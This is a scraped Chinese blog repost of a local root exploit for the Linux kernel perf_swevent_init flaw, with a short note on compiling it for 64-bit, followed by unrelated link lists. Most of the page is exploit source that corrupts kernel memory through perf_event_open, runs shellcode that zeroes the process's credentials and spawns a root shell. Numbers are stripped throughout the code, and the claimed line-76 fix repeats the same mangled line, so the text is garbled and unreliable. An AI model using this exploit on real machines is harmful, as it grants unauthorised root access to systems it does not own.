Linux kernel perf_swevent_init Local root Exploit
64位上编译
另外修改了原Exploit的一个错误
第76行
把 uint64_t *p = (void *) ¤t[i];
改成 uint64_t *p = (void *) ¤t[i];
*
* CVE-- exploit x86_64 Linux < 3.8.
* by sorbo (sorbo@darkircop.org) June
*
* Based on sd's exploit. Supports more targets.
*
*/ #define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h> #define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)); static int _fd; static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, , sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = ;
attr.comm = ;
attr.exclude_kernel = ; rc = syscall(SYS_perf_event_open, &attr, , -, -, ); return rc;
} void __sc_start(void);
void __sc_next(void); void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
} void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-));
uint64_t kbase = ((uint64_t)current) >> ;
int uid = TMP();
int gid = TMP(); for (i = ; i < ; i += ) {
uint64_t *p = (void *) ¤t[i];
uint32_t *cred = (uint32_t*) p[]; if ((p[] != p[]) || ((p[]>>) != kbase))
continue; for (j = ; j < ; j++) {
if (cred[j] == uid && cred[j + ] == gid) {
for (i = ; i < ; i++) {
cred[j + i] = ;
return;
}
}
}
}
} static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p; p = memmem(sc, , &needle, sizeof(needle));
if (!p)
errx(, "can't find %x", needle); memcpy(p, &val, sizeof(val));
} static void *map_mem(uint64_t addr)
{
void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -, ); if (p == MAP_FAILED)
err(, "mmap()"); return p;
} static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem; for (i = ; i < SIZE; i++) {
if (p == c)
return i;
} return -;
} static void dropshell()
{
if (setuid() != )
errx(, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL);
exit();
} void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
} static void trigger(int intr)
{
switch (intr) {
case :
do {
int z = ;
int a = ; z--; a /= z;
} while ();
break; case :
asm("int $4");
break; case 0x80:
asm("int $0x80");
break; default:
errx(, "unknown intr %d", intr);
} sleep();
} int main(int argc, char *argv[])
{
uint32_t *p[];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = ;
int intr = ; printf("Searchin...\n"); p[] = map_mem(BASE);
p[] = map_mem(BASE_JUMP); memset(p[], 0x69, SIZE); off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd); i = find_mem(p[], 0xff);
if (i == -) {
i = find_mem(p[], 0x68); if (i == -)
errx(, "Can't find overwrite"); sz = ;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
} munmap(p[], SIZE);
munmap(p[], SIZE); addr += i;
addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr;
off -= ; switch (off % sz) {
case :
intr = ;
break; case :
intr = 0x80;
break; case :
intr = ;
break; default:
errx(, "remainder %d", off % sz);
} printf("Using interrupt %d\n", intr); off -= * intr; assert((off % sz) == ); off /= sz;
off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, ) == MAP_FAILED)
err(, "mmap()"); memset(kbase, 0x90, KSIZE);
kbase += KSIZE - ; i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, ); sc_replace(kbase, TMP(), getuid());
sc_replace(kbase, TMP(), getgid()); signal(SIGALRM, morte);
alarm(); printf("Triggering sploit\n");
_fd = perf_open(off); trigger(intr); exit();
}
Linux kernel perf_swevent_init Local root Exploit的更多相关文章
- [轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)
author : deep_pro目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的(http://forum.evilocta ...
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- archlinux 传统方法编译内核linux kernel 3.3.7
From: http://hi.baidu.com/flashgive/item/eaef6326b5eb73d3a417b662 archlinux中传统方法编译内核 1)下载内核以及补丁并解压: ...
- the Linux Kernel: Traffic Control, Shaping and QoS
−Table of Contents Journey to the Center of the Linux Kernel: Traffic Control, Shaping and QoS 1 Int ...
随机推荐
- 在windows下用cygwin和eclipse搭建cocos2dx(2.1.4)的android开发环
一.准备工作 需要下载和安装以下内容,请根据自己的操作系统选择x86和x64(我的是64位win7,我就拿64位说事) 1.jdk-7u25-windows-x64.exe(下载完后直接安装,一直下一 ...
- windows添加和删除服务
删除系统服务,记得一定要小心用.避免删错sc delete 服务名 加入服务: sc create 服务名 binPath= 路径 start= auto
- 【转】Python 代码调试技巧
转载自:http://www.ibm.com/developerworks/cn/linux/l-cn-pythondebugger/ Debug 对于任何开发人员都是一项非常重要的技能,它能够帮助我 ...
- [转]C程序内存区域分配(5个段作用)
[转]C程序内存区域分配(5个段作用) 2012-08-10 14:45:32| 分类: C++基础|字号 订阅 参考:http://www.360doc.com/content/11/03 ...
- python文件取MD5
import hashlib def md5sum(filename, blocksize=65536): hash = hashlib.md5() with open(filename, " ...
- August 5th, 2016, Week 32nd, Friday
Life is made up of small pleasures. 生活由各种细小的幸福构成. Don't expect too much. I am not qualified to get m ...
- linux安装gcc
方法:输入命令: :(1) :yum -y install gcc (2) yum -y install gcc-c++(3)yum install make 我的再输入 yum -y instal ...
- .net学习笔记----Asp.net的生命周期之一应用程序生命周期
Http请求刚刚到达服务器的时候 当服务器接收到一个 Http请求的时候,IIS (Internet Information Services,互联网信息服务)首先需要决定如何去处理这个请求. 什么是 ...
- ubuntu下简单的驱动编译
转自:http://www.eefocus.com/jefby1990/blog/13-02/291628_c39b8.html 本文是参考了网上多篇帖子而写的算不上什么原创.唯一值得欣慰的只不过在本 ...
- hdu 1166:敌兵布阵(树状数组 / 线段树,入门练习题)
敌兵布阵 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submis ...